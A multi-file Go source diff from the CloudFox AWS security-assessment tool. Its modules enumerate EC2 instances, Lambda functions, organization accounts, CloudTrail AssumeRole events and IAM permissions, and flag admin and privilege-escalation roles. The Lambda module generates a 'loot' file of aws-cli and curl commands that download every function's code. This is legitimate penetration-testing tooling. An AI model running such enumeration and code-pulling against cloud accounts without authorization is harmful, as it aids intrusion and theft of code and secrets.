if instancesToSearch[0] == "all" || internal.Contains(aws.ToString(instance.InstanceId), instancesToSearch) {
m.loadInstanceData(instance, region, accountId, dataReceiver)
}
}
@@ -352,6 +515,8 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
var profile string
var externalIP string
var name string = ""
var adminRole string = ""
var roleArn string = ""
// The name is in a tag so we have to do this to grab the value from the right tag
for _, tag := range instance.Tags {
@@ -361,15 +526,7 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
}
arn := fmt.Sprintf("arn:aws:ec2:%s:%s:instance/%s", region, aws.ToString(accountId), aws.ToString(instance.InstanceId))
if instance.IamInstanceProfile == nil {
profile = "NoInstanceProfile"
} else {
// This returns only the role name without the preceding forward slash.
profileARN := aws.ToString(instance.IamInstanceProfile.Arn)
profile = strings.Split(profileARN, "/")[len(strings.Split(profileARN, "/"))-1]
}
//arn := fmt.Sprintf("arn:aws:ec2:%s:%s:instance/%s", region, aws.ToString(accountId), aws.ToString(instance.InstanceId))
if instance.PublicIpAddress == nil {
externalIP = "NoExternalIP"
@@ -377,16 +534,67 @@ func (m *InstancesModule) loadInstanceData(instance types.Instance, region strin
externalIP = aws.ToString(instance.PublicIpAddress)
}
if instance.IamInstanceProfile == nil {
profile = "NoInstanceProfile"
} else {
// This returns only the role name without the preceding forward slash.
profileARN := aws.ToString(instance.IamInstanceProfile.Arn)
profileID := aws.ToString(instance.IamInstanceProfile.Id)
profile = strings.Split(profileARN, "/")[len(strings.Split(profileARN, "/"))-1]
if roles, ok := m.InstanceProfileToRolesMap[profileID]; ok {
for _, role := range roles {
roleArn = aws.ToString(role.Arn)
}
}
}
dataReceiver <- MappedInstance{
aws.ToString(instance.InstanceId),
aws.ToString(&name),
arn,
aws.ToString(instance.Placement.AvailabilityZone),
string(instance.State.Name),
externalIP,
aws.ToString(instance.PrivateIpAddress),
profile,
region,
ID: aws.ToString(instance.InstanceId),
Name: aws.ToString(&name),
Arn: fmt.Sprintf("arn:aws:ec2:%s:%s:instance/%s", region, aws.ToString(accountId), aws.ToString(instance.InstanceId)),
AvailabilityZone: aws.ToString(instance.Placement.AvailabilityZone),
State: string(instance.State.Name),
ExternalIP: externalIP,
PrivateIP: aws.ToString(instance.PrivateIpAddress),
Profile: profile,
Role: roleArn,
Region: region,
Admin: adminRole,
CanPrivEsc: "",
}
}
func (m *InstancesModule) getRolesFromInstanceProfiles() {
// The "PaginationControl" value is nil when there's no more data to return.
var PaginationMarker *string
PaginationControl := true
m.InstanceProfileToRolesMap = map[string][]iamTypes.Role{}
for PaginationControl {
ListInstanceProfiles, err := m.IAMClient.ListInstanceProfiles(
context.TODO(),
&(iam.ListInstanceProfilesInput{
Marker: PaginationMarker,
}),
)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
break
}
for _, instanceProfile := range ListInstanceProfiles.InstanceProfiles {
m.InstanceProfileToRolesMap[aws.ToString(instanceProfile.InstanceProfileId)] = instanceProfile.Roles
}
if aws.ToString(ListInstanceProfiles.Marker) != "" {
PaginationMarker = ListInstanceProfiles.Marker
} else {
PaginationMarker = nil
break
}
}
}
+822 -584
View File
File diff suppressed because it is too large. Load diff
+378
View File
@@ -0,0 +1,378 @@
package aws
import (
"context"
"fmt"
"os"
"path/filepath"
"sort"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/lambda"
"github.com/aws/aws-sdk-go-v2/service/lambda/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
type LambdasModule struct {
// General configuration data
LambdaClient *lambda.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
pmapperMod PmapperModule
pmapperError error
iamSimClient IamSimulatorModule
// Main module data
Lambdas []Lambda
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Lambda struct {
AWSService string
Region string
Type string
Name string
Role string
Admin string
CanPrivEsc string
Public string
}
func (m *LambdasModule) PrintLambdas(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "lambda"
localAdminMap := make(map[string]bool)
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Enumerating lambdas for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
//fmt.Printf("[%s][%s] Attempting to build a PrivEsc graph in memory using local pmapper data if it exists on the filesystem.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
m.pmapperMod, m.pmapperError = initPmapperGraph(m.Caller, m.AWSProfile, m.Goroutines)
m.iamSimClient = initIAMSimClient(m.IAMClient, m.Caller, m.AWSProfile, m.Goroutines)
// if m.pmapperError != nil {
// fmt.Printf("[%s][%s] No pmapper data found for this account. Using cloudfox's iam-simulator for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// } else {
// fmt.Printf("[%s][%s] Found pmapper data for this account. Using it for role analysis.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
// }
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan Lambda)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
wg.Add(1)
m.CommandCounter.Pending++
go m.executeChecks(region, wg, semaphore, dataReceiver)
}
wg.Wait()
//time.Sleep(time.Second * 2)
// Perform role analysis
if m.pmapperError == nil {
for i := range m.Lambdas {
m.Lambdas[i].Admin, m.Lambdas[i].CanPrivEsc = GetPmapperResults(m.SkipAdminCheck, m.pmapperMod, &m.Lambdas[i].Role)
}
} else {
for i := range m.Lambdas {
m.Lambdas[i].Admin, m.Lambdas[i].CanPrivEsc = GetIamSimResult(m.SkipAdminCheck, &m.Lambdas[i].Role, m.iamSimClient, localAdminMap)
}
}
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
// add - if struct is not empty do this. otherwise, dont write anything.
if m.pmapperError == nil {
m.output.Headers = []string{
"Service",
"Region",
"Resource",
"Role",
"IsAdminRole?",
"CanPrivEscToAdmin?",
}
} else {
m.output.Headers = []string{
"Service",
"Region",
"Resource",
"Role",
"IsAdminRole?",
}
}
sort.Slice(m.Lambdas, func(i, j int) bool {
return m.Lambdas[i].AWSService < m.Lambdas[j].AWSService
})
// Table rows
for i := range m.Lambdas {
if m.pmapperError == nil {
m.output.Body = append(
m.output.Body,
[]string{
m.Lambdas[i].AWSService,
m.Lambdas[i].Region,
//m.Lambdas[i].Type,
m.Lambdas[i].Name,
m.Lambdas[i].Role,
m.Lambdas[i].Admin,
m.Lambdas[i].CanPrivEsc,
//m.Lambdas[i].Public,
},
)
} else {
m.output.Body = append(
m.output.Body,
[]string{
m.Lambdas[i].AWSService,
m.Lambdas[i].Region,
//m.Lambdas[i].Type,
m.Lambdas[i].Name,
m.Lambdas[i].Role,
m.Lambdas[i].Admin,
//m.Lambdas[i].CanPrivEsc,
//m.Lambdas[i].Public,
},
)
}
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s lambdas found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
} else {
fmt.Printf("[%s][%s] No lambdas found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *LambdasModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
defer wg.Done()
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("lambda", r)
if err != nil {
m.modLog.Error(err)
}
if res {
m.CommandCounter.Total++
wg.Add(1)
m.getLambdasPerRegion(r, wg, semaphore, dataReceiver)
}
}
func (m *LambdasModule) Receiver(receiver chan Lambda, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Lambdas = append(m.Lambdas, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *LambdasModule) writeLoot(outputDirectory string, verbosity int) {
path := filepath.Join(outputDirectory, "loot")
err := os.MkdirAll(path, os.ModePerm)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
pullFile := filepath.Join(path, "lambda-get-function-commands.txt")
var out string
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("# The profile you will use to perform these commands is most likely not the profile you used to run CloudFox")
out = out + fmt.Sprintln("# Set the $profile environment variable to the profile you are going to use to inspect the buckets.")
out = out + fmt.Sprintln("# E.g., export profile=dev-prod.")
out = out + fmt.Sprintln("#############################################")
out = out + fmt.Sprintln("")
for _, function := range m.Lambdas {
out = out + fmt.Sprintln("=============================================")
out = out + fmt.Sprintf("# Lambda Name: %s\n\n", function.Name)
out = out + "# Get function metadata including download location\n"
out = out + fmt.Sprintf("aws --profile $profile --region %s lambda get-function --function-name %s\n", function.Region, function.Name)
out = out + "# Download function code to to disk (requires jq and curl) \n"
out = out + fmt.Sprintf("mkdir -p ./lambdas/%s\n", function.Name)
out = out + fmt.Sprintf("url=`aws --profile $profile lambda get-function --region %s --function-name %s | jq .Code.Location | sed s/\\\"//g` && curl \"$url\" -o ./lambdas/%s.zip\n", function.Region, function.Name, function.Name)
}
err = os.WriteFile(pullFile, []byte(out), 0644)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
if verbosity > 2 {
fmt.Println()
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("Beginning of loot file."))
fmt.Print(out)
fmt.Printf("[%s][%s] %s \n\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), green("End of loot file."))
}
fmt.Printf("[%s][%s] Loot written to [%s]\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), pullFile)
}
func (m *LambdasModule) getLambdasPerRegion(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Lambda) {
defer func() {
m.CommandCounter.Executing--
m.CommandCounter.Complete++
wg.Done()
}()
semaphore <- struct{}{}
defer func() {
<-semaphore
}()
functions, err := m.listFunctions(r)
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
}
for _, function := range functions {
//arn := aws.ToString(function.FunctionArn)
name := aws.ToString(function.FunctionName)
role := aws.ToString(function.Role)
dataReceiver <- Lambda{
AWSService: "Lambda",
Name: name,
Region: r,
Type: "",
Role: role,
Admin: "",
CanPrivEsc: "",
Public: "",
}
}
}
func (m *LambdasModule) listFunctions(r string) ([]types.FunctionConfiguration, error) {
// "PaginationMarker" is a control variable used for output continuity, as AWS return the output in pages.
var PaginationControl *string
var functions []types.FunctionConfiguration
for {
ListFunctions, err := m.LambdaClient.ListFunctions(
context.TODO(),
&lambda.ListFunctionsInput{
Marker: PaginationControl,
},
func(o *lambda.Options) {
o.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return functions, err
}
functions = append(functions, ListFunctions.Functions...)
if aws.ToString(ListFunctions.NextMarker) != "" {
PaginationControl = ListFunctions.NextMarker
} else {
PaginationControl = nil
break
}
}
return functions, nil
}
func (m *LambdasModule) getResourcePolicy(r string, functionName string) (policy.Policy, error) {
var projectPolicy policy.Policy
var policyJSON string
Policy, err := m.LambdaClient.GetPolicy(
context.TODO(),
&lambda.GetPolicyInput{
FunctionName: &functionName,
},
func(options *lambda.Options) {
options.Region = r
},
)
if err != nil {
sharedLogger.Error(err.Error())
m.CommandCounter.Error++
return projectPolicy, err
}
policyJSON = aws.ToString(Policy.Policy)
projectPolicy, err = policy.ParseJSONPolicy([]byte(policyJSON))
if err != nil {
return projectPolicy, fmt.Errorf("parsing policy (%s) as JSON: %s", functionName, err)
}
return projectPolicy, nil
}
+2029
View File
File diff suppressed because it is too large. Load diff
+290
View File
@@ -0,0 +1,290 @@
package aws
import (
"fmt"
"path/filepath"
"strconv"
"sync"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/organizations/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/kyokomi/emoji"
"github.com/sirupsen/logrus"
)
type OrgModule struct {
OrganizationsClient sdk.OrganizationsClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
SkipAdminCheck bool
WrapTable bool
DescribeOrgOutput *types.Organization
// Main module data
Accounts []Account
Orgs map[string]Org
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output internal.OutputData2
modLog *logrus.Entry
}
type Org struct {
OrgId string
MgmtAccount string
ChildAccounts []Account
}
type Account struct {
ProfileName string
isManagementAccount bool
Name string
Id string
Email string
Arn string
Status string
OrgId string
}
func (m *OrgModule) PrintOrgAccounts(outputFormat string, outputDirectory string, verbosity int) {
// These stuct values are used by the output module
var err error
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "org"
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
fmt.Printf("[%s][%s] Checking if account %s is the management account in an organization.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
m.DescribeOrgOutput, err = sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
return
}
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
fmt.Printf("[%s][%s] Account %s is either not associated with an organization, or you do not have the organizations:DescribeOrganization permission.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
} else {
if m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account)) {
m.addOrgAccounts()
} else {
m.addOrgAccount()
//fmt.Printf("[%s][%s] Account %s is not the management account in an organization %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
}
m.output.Headers = []string{
"Name",
"ID",
"isManagementAccount?",
"Status",
"Email",
}
// Table rows
for i := range m.Accounts {
m.output.Body = append(
m.output.Body,
[]string{
m.Accounts[i].Name,
m.Accounts[i].Id,
strconv.FormatBool(m.Accounts[i].isManagementAccount),
m.Accounts[i].Status,
m.Accounts[i].Email,
},
)
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
//m.writeLoot(m.output.FilePath, verbosity)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %d accounts found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), len(m.output.Body))
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
}
}
func (m *OrgModule) ProcessMultipleAccounts(AWSProfiles []string, version string) {
var seenOrgs []string
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "tasks")
//create a channel to receive the objects
dataReceiver := make(chan Account)
// Create a channel to signal to stop
receiverDone := make(chan bool)
// Create a channel to signal to stop
go m.Receiver(dataReceiver, receiverDone)
for _, profile := range AWSProfiles {
wg.Add(1)
m.CommandCounter.Pending++
go m.FindMgmtAccounts(profile, version, wg, semaphore, dataReceiver)
wg.Wait()
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
receiverDone <- true
<-receiverDone
orgId := aws.ToString(m.DescribeOrgOutput.Id)
// if this orgId is not in seenOrgs, add it to seenOrgs
if !internal.Contains(orgId, seenOrgs) {
seenOrgs = append(seenOrgs, orgId)
// add this org to the Orgs map
Org := Org{
OrgId: orgId,
}
m.Orgs[orgId] = Org
} else {
continue
}
isMgmtAccount := m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(m.Caller.Account))
if isMgmtAccount {
mgmtAccount := aws.ToString(m.Caller.Account)
fmt.Printf("[%s] Found an Organization Management Account: %s\n", cyan(emoji.Sprintf(":fox:cloudfox v%s :fox:", version)), mgmtAccount)
//mgmtAccounts[mgmtAccount] = append(mgmtAccounts[mgmtAccount], profile)
}
}
}
func (m *OrgModule) Receiver(receiver chan Account, receiverDone chan bool) {
defer close(receiverDone)
for {
select {
case data := <-receiver:
m.Accounts = append(m.Accounts, data)
case <-receiverDone:
receiverDone <- true
return
}
}
}
func (m *OrgModule) FindMgmtAccounts(profile string, version string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan Account) {
var err error
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
return
}
dataReceiver <- Account{
isManagementAccount: m.IsManagementAccount(DescribeOrganization, aws.ToString(m.Caller.Account)),
Name: aws.ToString(m.Caller.Account),
Id: aws.ToString(m.Caller.Account),
Status: "ACTIVE",
Email: aws.ToString(m.Caller.Account),
OrgId: aws.ToString(DescribeOrganization.Id),
Arn: aws.ToString(m.Caller.Account),
}
}
func (m *OrgModule) IsManagementAccount(Organization *types.Organization, account string) bool {
// Check if the account is the management account
// https://docs.aws.amazon.com/organizations/latest/APIReference/API_DescribeOrganization.html
if aws.ToString(Organization.MasterAccountId) == account {
return true
}
return false
}
func (m *OrgModule) addOrgAccounts() {
accounts, err := sdk.CachedOrganizationsListAccounts(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
m.modLog.Error(err.Error())
m.CommandCounter.Error++
return
}
for _, account := range accounts {
m.Accounts = append(m.Accounts, Account{
isManagementAccount: m.IsManagementAccount(m.DescribeOrgOutput, aws.ToString(account.Id)),
Name: aws.ToString(account.Name),
Id: aws.ToString(account.Id),
Email: aws.ToString(account.Email),
Arn: aws.ToString(account.Arn),
Status: string(account.Status),
})
}
}
func (m *OrgModule) addOrgAccount() {
DescribeOrganization, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Errorf("Failed to describe organization: %s", err)
m.CommandCounter.Error++
return
}
m.Accounts = append(m.Accounts, Account{
isManagementAccount: true,
Name: "Mgmt Account",
Id: aws.ToString(DescribeOrganization.MasterAccountId),
Email: aws.ToString(DescribeOrganization.MasterAccountEmail),
Arn: aws.ToString(DescribeOrganization.MasterAccountArn),
Status: "ACTIVE",
})
m.Accounts = append(m.Accounts, Account{
isManagementAccount: false,
Name: "This account",
Id: aws.ToString(m.Caller.Account),
Email: "Unkonwn",
Arn: aws.ToString(m.Caller.Arn),
Status: "ACTIVE",
})
}
func (m *OrgModule) IsCallerAccountPartOfAnOrg() bool {
DescribeOrgOutput, err := sdk.CachedOrganizationsDescribeOrganization(m.OrganizationsClient, aws.ToString(m.Caller.Account))
if err != nil {
sharedLogger.Errorf("Failed to describe organization: %s", err)
return false
} else {
m.DescribeOrgOutput = DescribeOrgOutput
}
return true
}
+46 -19
View File
@@ -9,12 +9,12 @@ import (
"sync"
"time"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/internal"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/cloudtrail"
cloudtrailTypes "github.com/aws/aws-sdk-go-v2/service/cloudtrail/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/bishopfox/awsservicemap"
"github.com/sirupsen/logrus"
)
@@ -27,13 +27,14 @@ type OutboundAssumedRolesModule struct {
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
OutboundAssumeRoleEntries []OutboundAssumeRoleEntry
Days int
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -118,16 +119,16 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
m.output.Verbosity = verbosity
m.output.Directory = outputDirectory
m.output.CallingModule = "outbound-assumed-roles"
m.modLog = utils.TxtLogger.WithFields(logrus.Fields{
m.modLog = internal.TxtLog.WithFields(logrus.Fields{
"module": m.output.CallingModule,
})
if m.AWSProfile == "" {
m.AWSProfile = utils.BuildAWSPath(m.Caller)
m.AWSProfile = internal.BuildAWSPath(m.Caller)
}
m.Days = days
fmt.Printf("[%s] Enumerating outbound assumed role entries in cloudtrail for account %s.\n", cyan(m.output.CallingModule), aws.ToString(m.Caller.Account))
fmt.Printf("[%s] Going back through %d days of cloudtrail events. (This command can be pretty slow, FYI)\n", cyan(m.output.CallingModule), days)
fmt.Printf("[%s][%s] Enumerating outbound assumed role entries in cloudtrail for account %s.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), aws.ToString(m.Caller.Account))
fmt.Printf("[%s][%s] Going back through %d days of cloudtrail events. (This command can be pretty slow, FYI)\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), days)
wg := new(sync.WaitGroup)
semaphore := make(chan struct{}, m.Goroutines)
@@ -135,13 +136,14 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
// Create a channel to signal the spinner aka task status goroutine to finish
spinnerDone := make(chan bool)
//fire up the the task status spinner/updated
go console.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
go internal.SpinUntil(m.output.CallingModule, &m.CommandCounter, spinnerDone, "regions")
//create a channel to receive the objects
dataReceiver := make(chan OutboundAssumeRoleEntry)
// Create a channel to signal to stop
receiverDone := make(chan bool)
go m.Receiver(dataReceiver, receiverDone)
for _, region := range m.AWSRegions {
@@ -155,7 +157,6 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
// Send a message to the spinner goroutine to close the channel and stop
spinnerDone <- true
<-spinnerDone
// Send a message to the data receiver goroutine to close the channel and stop
receiverDone <- true
<-receiverDone
@@ -189,16 +190,33 @@ func (m *OutboundAssumedRolesModule) PrintOutboundRoleTrusts(days int, outputFor
}
if len(m.output.Body) > 0 {
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", m.AWSProfile)
m.output.FilePath = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
//m.output.OutputSelector(outputFormat)
utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
fmt.Printf("[%s] %s log entries found.\n", cyan(m.output.CallingModule), strconv.Itoa(len(m.output.Body)))
//utils.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule)
//internal.OutputSelector(verbosity, outputFormat, m.output.Headers, m.output.Body, m.output.FilePath, m.output.CallingModule, m.output.CallingModule, m.WrapTable, m.AWSProfile)
o := internal.OutputClient{
Verbosity: verbosity,
CallingModule: m.output.CallingModule,
Table: internal.TableClient{
Wrap: m.WrapTable,
},
}
o.Table.TableFiles = append(o.Table.TableFiles, internal.TableFile{
Header: m.output.Headers,
Body: m.output.Body,
Name: m.output.CallingModule,
})
o.PrefixIdentifier = m.AWSProfile
o.Table.DirectoryName = filepath.Join(outputDirectory, "cloudfox-output", "aws", fmt.Sprintf("%s-%s", m.AWSProfile, aws.ToString(m.Caller.Account)))
o.WriteFullOutput(o.Table.TableFiles, nil)
//m.writeLoot(o.Table.DirectoryName, verbosity)
fmt.Printf("[%s][%s] %s log entries found.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), strconv.Itoa(len(m.output.Body)))
//m.writeLoot()
} else {
fmt.Printf("[%s] No matching log entries found, skipping the creation of an output file.\n", cyan(m.output.CallingModule))
fmt.Printf("[%s][%s] No matching log entries found, skipping the creation of an output file.\n", cyan(m.output.CallingModule), cyan(m.AWSProfile))
}
fmt.Printf("[%s][%s] For context and next steps: https://github.com/BishopFox/cloudfox/wiki/AWS-Commands#%s\n", cyan(m.output.CallingModule), cyan(m.AWSProfile), m.output.CallingModule)
}
func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEntry, receiverDone chan bool) {
@@ -216,9 +234,18 @@ func (m *OutboundAssumedRolesModule) Receiver(receiver chan OutboundAssumeRoleEn
func (m *OutboundAssumedRolesModule) executeChecks(r string, wg *sync.WaitGroup, semaphore chan struct{}, dataReceiver chan OutboundAssumeRoleEntry) {
defer wg.Done()
m.CommandCounter.Total++
m.getAssumeRoleLogEntriesPerRegion(r, wg, semaphore, dataReceiver)
servicemap := &awsservicemap.AwsServiceMap{
JsonFileSource: "DOWNLOAD_FROM_AWS",
}
res, err := servicemap.IsServiceInRegion("cloudtrail", r)
if err != nil {
m.modLog.Error(err)
}
if res {
wg.Add(1)
m.CommandCounter.Total++
m.getAssumeRoleLogEntriesPerRegion(r, wg, semaphore, dataReceiver)
}
}
@@ -249,7 +276,7 @@ func (m *OutboundAssumedRolesModule) getAssumeRoleLogEntriesPerRegion(r string,
EndTime: endTime,
StartTime: &startTime,
LookupAttributes: []cloudtrailTypes.LookupAttribute{
cloudtrailTypes.LookupAttribute{
{
AttributeKey: cloudtrailTypes.LookupAttributeKeyEventName,
AttributeValue: aws.String("AssumeRole"),
},
+332 -229
View File
@@ -1,19 +1,17 @@
package aws
import (
"context"
"encoding/json"
"errors"
"fmt"
"net/url"
"path/filepath"
"strconv"
"strings"
"time"
"github.com/BishopFox/cloudfox/console"
"github.com/BishopFox/cloudfox/utils"
"github.com/BishopFox/cloudfox/aws/sdk"
"github.com/BishopFox/cloudfox/internal"
"github.com/BishopFox/cloudfox/internal/aws/policy"
"github.com/aws/aws-sdk-go-v2/aws"
"github.com/aws/aws-sdk-go-v2/service/iam"
"github.com/aws/aws-sdk-go-v2/service/iam/types"
"github.com/aws/aws-sdk-go-v2/service/sts"
"github.com/sirupsen/logrus"
@@ -21,13 +19,14 @@ import (
type IamPermissionsModule struct {
// General configuration data
IAMClient *iam.Client
IAMClient sdk.AWSIAMClientInterface
Caller sts.GetCallerIdentityOutput
AWSRegions []string
OutputFormat string
Goroutines int
AWSProfile string
WrapTable bool
// Main module data
@@ -36,9 +35,9 @@ type IamPermissionsModule struct {
Roles []GAADRole
Groups []GAADGroup
Rows []PermissionsRow
CommandCounter console.CommandCounter
CommandCounter internal.CommandCounter
// Used to store output data for pretty printing
output utils.OutputData2
output internal.OutputData2
modLog *logrus.Entry
}
@@ -80,6 +79,7 @@ type PermissionsRow struct {
Effect string
Action string
